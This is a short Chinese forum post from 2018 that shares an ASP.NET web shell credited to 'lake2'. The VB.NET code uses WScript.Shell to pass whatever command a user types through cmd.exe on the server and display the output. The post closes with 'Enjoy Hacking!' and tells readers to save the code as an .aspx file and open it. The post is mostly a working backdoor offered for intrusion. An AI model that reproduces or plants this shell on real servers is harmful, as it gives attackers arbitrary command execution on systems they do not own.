xiaozhuaia 发表于 2018-8-24 10:16:35

wscript.shell 使用

  
  
  sub runcmd(Src As Object, E As EventArgs)
  Dim StrResult As String
  Dim CMDShell As Object
  CMDShell = Server.CreateObject("WScript.Shell")
  StrResult = CMDShell.eXec( CMDPath.Text & " /c " & CMDBox.Text ).stdout.readall
  StrResult = Replace(StrResult , "")
  ResultLabel.Text = "" & StrResult & ""
  end sub
  
  
  WSH.SHell For ASP.NET By lake2
  
  
  "cmd.exe"'s path:
  
  Your Command:
  
  
  
  
  ———– Enjoy Hacking! ———–
  
  
  
  
  保存为aspx文件,访问之,即可。

页: [1]
查看完整版本: wscript.shell 使用